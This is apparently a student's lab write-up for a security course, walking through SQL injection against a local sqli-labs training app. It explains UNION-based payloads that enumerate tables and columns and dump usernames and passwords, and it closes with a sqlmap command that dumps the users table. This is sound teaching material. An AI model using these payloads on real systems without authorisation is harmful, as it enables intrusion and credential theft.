Class Activity 9.1 SQLi Review

Preparation

Refer to the page below if you would like a better visualization of how SQL databases are laid out:

Understanding SQL

Mysqld configuration on Kali

sudo systemctl enable mysqld
sudo systemctl start mysqld
sudo mysql_secure_installation

• switch unix_socket - N

• Change root password - Y

• Remove anonymous users - Y

• Disallow root login - Y

• Remove test database - Y

• Reload privilege tables now - Y

clone the sqli-labs-php git repository

mkdir -p ~/sec335/week9 
cd ~/sec335/week9 
git clone https://github.com/skyblueee/sqli-labs-php7.git
cd sqli-labs-php7

The directory in which you cloned this repo now become the equivalent of the /var/www/ meaning that when you start the PHP server, it will pull from the files in this directory that you see below, and you can access them via a PHP webpage on a web browser.

edit sql-connections/db-creds.inc

Start the php application

Connect to the application

accessing the php webpage

database setup page on the webpage

• Go to /less-1/index.php

Befor the change

• Add increased error handling and a debug statement for the raw sql

  • By default php8 will suppress many of the error messages

• Add the following to the file

Deliverables:

Go through the following SQLi walkthrough. Capture and label screenshots for:

1. Display the Login name and password for arbitrary user

http://127.0.0.1:8090/Less-1?id=7

• this shows me the username and password that the ID 7 is associated with

  • This is how we test what part of the database we can manipulate. We know that when we run a request for a user ID, it gives us back a username and password. We will then further be able to exploit those values in the further deliverables.

ID 7 SQLi

2. Error condition when number of columns are exceeded

http://127.0.0.1:8090/Less-1?id=-7' union select 1,2,3 --+

• -7'

  • To be able to escape the first SQL statement that we know returns the ID, we make the number negative, which the system takes as meaning "does not exist." This way, nothing will be returned for the value of login and password. Then we close the statement with a quote so that we can add another SQLi after that.

• union

  • used to combine the result-set of two or more SELECT statements. So in this case we are combining the first query of ID=-7 and then seraching through the columns select 1,2,3

• --+

  • this is a SQL comment sequence. Everything after this will be ignored by the SQL engine.

This is not returning an error

• Below is the error message saying that we exceeded the columns

this is returning the error

3. A Union select that displays your own value for login name and password

The purpose of this is to get you to understand the structure of how the web application is interacting with the MySQL server. The reason we tried to exceed the columns in the last deliverable is so that we could see how many inputs the web application would accept and output. We know from the union we did above that the web application only accepts 3 inputs, as 4 gave us an error. We also know that the space with 1 will not return anything, as it is probably handling metadata/backend stuff. We now know that the 2 and 3 values are what we can manipulate to find more information about credentials and the database itself. In this delivervale we want to manipulate the third value so that we can display all the table names in information_schema.tables

Successful inject to display all table names:

http://127.0.0.1:8090/Less-1?id=-7' union select 1,2,GROUP_CONCAT(table_name SEPARATOR '\n')%20 FROM information_schema.tables--+

• GROUP_CONCAT is an aggregate function provided by MySQL. This function is used to concatenate column values of multiple rows in each group that is generated by using GROUP BY into an independent string. You can use this function when you want to combine multiple data records into one data record

• (table_name SEPARTOR '\n')

More examples of escape sequences: https://www.sqlshack.com/introduction-to-sql-escape/

• FROM information_schema.tables

  • Information_schema.tables allows you to get information about all tables and views within a database. By default it will show you this information for every single table and view that is in the database. (https://www.mssqltips.com/tutorial/information-schema-tables/)

  • tables is a table in information_schemathat list all tables in all databases.

  • In summary, information_schema.tables is a table of tables.

  • refer to this page for the information_schema information

This is the injection run without the separator;\n it displays all the columns in one line so you can't see them all

This is after the \n seperator is added, and now we can see all the the column names

Final Deliverable. My last name is put in the #2 spot to show that it won't affect the inject I am running in the number 3 slot. You will see that the username I manually put in shows up in the Your Login Name area.

4. Another union that displays the mysql user and database

http://127.0.0.1:8090/Less-1?id=-7' union select 1,user(),database()--+

• user() is a built in function

  • shows the current database user

• database() is a built in function

  • returns the name of the currently selected database

5. A union that dumps all the tables in the current database

http://127.0.0.1:8090/Less-1?id=-7' union select 1,2,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema="security"--+

• table_schema is a column that tells us the name of the database/schema each table belongs to in the tables table.

• WHERE table_schema = "security" is saying, Give me all the tables that exist inside the security database.

If we were to visualize this in a spreadsheet, it would look something like this:

• The one issue with this visualization is that we use the GROUP_CONCAT() function in the original command, so the output is just one long string of the table names rather than nicely formatted in a column.

Successful output of tables in security database

6. A union that dumps all the usernames and passwords

Find the Column Names in users

Looking at all the tables listed in information_schema we can see that columns is listed. The columns table will list all the tables in a given database. You can see all the tables in information_schema here.

http://127.0.0.1:8090/Less-1?id=-7' union select 1,2,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name="users"--

Column names in user are USER, CURRENT_CONNECTIONS, TOTAL_CONNECTIONS, id, username, password

Spreadsheet visualization:

Output the users and passwords in the column `

Now that we know the structure of the database we are trying to pull information from, we can now use that to build a query that will extract sensitive user data such as usernames and passwords by matching the correct number of columns and targeting the appropriate table and fields, bypassing the original query logic and displaying the results directly on the webpage.

http://127.0.0.1:8090/Less-1?id=-7' union select 1,2, GROUP_CONCAT(username, 0x3a, password, SEPARATOR '\n') FROM users --+ 

• GROUP_CONCAT(username, 0x3a, password, SEPARATOR '\n')

  • This will pull the username and password columns from them users column and display them in the username:password format. \n will separate the output so you can read all the output on your screen.

• 0x3a is the hex code for : so you get output like admin:admin123,user:test123, etc.

Spreadsheet visualization:

Dump of passwords and usernames

7. Figure out how to run sqlmap against the vulnerable URI: http://127.0.0.1:8090/Less-1?id=1

• Run this using Medium Difficulty and Intermediate Enumeration.

• Figure out how to dump the contents of the users table in the security database.

• Provide a screenshot showing the results of dumping the user's table.

sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.

https://sqlmap.org/

sqlmap -u "http://127.0.0.1:8090/Less-1?id=1" --batch --level=2 --risk=2 -D security -T users -C username,password --dump

• -u "http://127.0.0.1:8090/Less-1?id=1"

  • The target URL with the injectable GET parameter (id=1) in a web app running locally.

• --batch

  • Automatically answer any prompts with the default option. Useful for automation or scripting.

• --level=2

  • Increases the depth of tests SQLMap performs (like testing more parameters or cookies). Range: 1–5 (default is 1). Level 2 is Intermediate Enumeration

• --risk=2

  • Increases the risk level of tests (like time-based or heavy queries). Range: 1–3. Risk 2 enables some more intrusive techniques.

• -D security

  • Tells SQLMap to focus on the security database

• -T users

  • Specifies the users table within the security database that you want to work with

• -C username,password

  • Only extract (dump) the specified columns: username and password

• --dump

  • Actually dump the data (i.e., extract and display the values) from the columns you specified

Command run to dump usernames/passwords

Dump of the usernames/passwords in the security database using sqlmap